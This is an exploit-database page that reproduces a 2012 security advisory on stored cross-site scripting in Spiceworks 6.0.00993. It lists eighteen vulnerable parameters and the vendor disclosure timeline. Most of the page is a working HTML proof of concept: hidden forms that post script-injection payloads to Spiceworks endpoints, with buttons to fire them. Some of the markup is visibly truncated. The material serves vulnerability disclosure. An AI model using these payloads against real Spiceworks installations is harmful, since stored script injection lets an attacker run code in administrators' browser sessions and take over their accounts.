发布 2012-09-19 漏洞条目

SpiceWorks 6.0.00993 – Multiple Script Injection Vulnerabilities

Exploit Source

<!--

Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities

Vendor: Spiceworks Inc.

Product web page: http://www.spiceworks.com

Affected version: 6.0.00993 and 6.0.00966

Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your

IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface

combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting.

And, it connects you with other IT pros to share ideas, solve problems and decide what

additional features you need in Spiceworks.

Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The

issues are triggered when input passed via several parameters to several scripts is not

properly sanitized before being returned to the user. This can be exploited to execute

arbitrary HTML and script code in a user's browser session in context of an affected site.

List of parameters and modules that are affected:

--------------------------------------------------------------------------------------------------------------

# * Parameter * * Module / Component *

--------------------------------------------------------------------------------------------------------------

1. agreement[account] ...................................... agreements

2. article[new_references][][url] .......................... xbb/knowledge_base

3. asset[device_type] ...................................... asset

4. asset[mac_address] ...................................... asset

5. asset[name] ............................................. asset

6. category[name] .......................................... settings/categories

7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings

8. international[global_date_format] ....................... settings/advanced/save_international_settings

9. international[global_date_time_format] .................. settings/advanced/save_international_settings

10. international[global_date_simple_format] ................ settings/advanced/save_international_settings

11. international[global_time_format] ....................... settings/advanced/save_international_settings

12. navigation[name] ........................................ my_tools

13. purchase[name] .......................................... purchases

14. purchase[price] ......................................... purchases

15. purchase[purchased_for_name] ............................ purchases

16. report[description] ..................................... reports/create

17. vendor[name] ............................................ agreements

18. vendor[website] ......................................... agreements

--------------------------------------------------------------------------------------------------------------

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Apache 2.2.19

Ruby 1.9.1

SQLite 3.7.5

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

Vendor status:

[26.08.2012] Vulnerabilities discovered.

[29.08.2012] Contact with the vendor.

[29.08.2012] Vendor responds asking more details.

[29.08.2012] Sent detailed information to the vendor.

[29.08.2012] Vendor confirms receiving files.

[03.09.2012] Asked vendor for confirmation.

[04.09.2012] Vendor awaits status from submited ticket to development team.

[11.09.2012] Asked vendor for status update.

[11.09.2012] Vendor says that the development team is still investigating.

[13.09.2012] Informed the vendor that the advisory will be published on 17th of September.

[14.09.2012] Vendor replies stating that a developer will contact us.

[17.09.2012] No contact from the development team.

[17.09.2012] Public security advisory released.

Advisory ID: ZSL-2012-5107

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php

Spiceworks: http://community.spiceworks.com/help#Current

26.08.2012

-->

<html>

<head>

<title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title>

</head>

var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +

"for educational purposes only, without warranty of any kind, whether\n" +

"express or implied.\n\n" +

"The author reserves the right not to be responsible for the topicality,\n" +

"correctness, completeness or quality of the information provided in\n" +

"this document. Liability claims regarding damage caused by the use of\n" +

"any information provided, including any kind of information which is\n" +

"incomplete or incorrect, will therefore be rejected.";

var answ = confirm(disclaimer);

if (answ == true){}else{window.location.href = "http://www.spiceworks.com";}

function xss1(){document.forms["xss1"].submit();}

function xss2(){document.forms["xss2"].submit();}

function xss3(){document.forms["xss3"].submit();}

function xss4(){document.forms["xss4"].submit();}

function xss5(){document.forms["xss5"].submit();}

function xss6(){document.forms["xss6"].submit();}

function xss7(){document.forms["xss7"].submit();}

function xss8(){document.forms["xss8"].submit();}

</script>

HTML Response:</h2></center>

name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525;

top:80;background-color:#cecece;border-color:#FFFFFF"></iframe>

<form action="http://localhost/agreements"

enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">

<input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' />

<input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' />

<input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' />

</form>

<form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff"

enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">

<input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' />

</form>

<form action="http://localhost/asset"

enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">

<input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' />

<input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' />

<input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' />

</form>

<form action="http://localhost/settings/categories"

enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">

<input type="hidden" name="category[name]" value='"><script>alert(8);</script>' />

</form>

<form action="http://localhost/settings/advanced/save_international_settings"

enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">

<input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' />

<input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' />

<input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' />

<input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' />

<input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' />

</form>

<form action="http://localhost/my_tools"

enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">

<input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' />

</form>

<form action="http://localhost/purchases"

enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">

<input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' />

<input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' />

<input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' />

</form>

<form action="http://localhost/reports/create"

enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe">

<input type="hidden" name="report[description]" value='"><script>alert(18);</script>' />

</form>

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value=" 1. agreement[account]

2. vendor[name]

3. vendor[website]" onClick="xss1()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value=" 4. article[new_references][][url]" onClick="xss2()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value=" 5. asset[device_type]

6. asset[mac_address]

7. asset[name]" onClick="xss3()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value=" 8. category[name]" onClick="xss4()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value=" 9. international[global_date_abbrev_format]

10. international[global_date_format]

11. international[global_date_time_format]

12. international[global_date_simple_format]

13. international[global_time_format]" onClick="xss5()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value="14. navigation[name]" onClick="xss6()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value="15. purchase[name]

16. purchase[price]

17. purchase[purchased_for_name]" onClick="xss7()" />

<br />

<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"

style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"

value="18. report[description]" onClick="xss8()" />

target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a>

</body></html>

作者: LiquidWorm
日期: 2012-09-19
类别: webapps
平台: windows

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection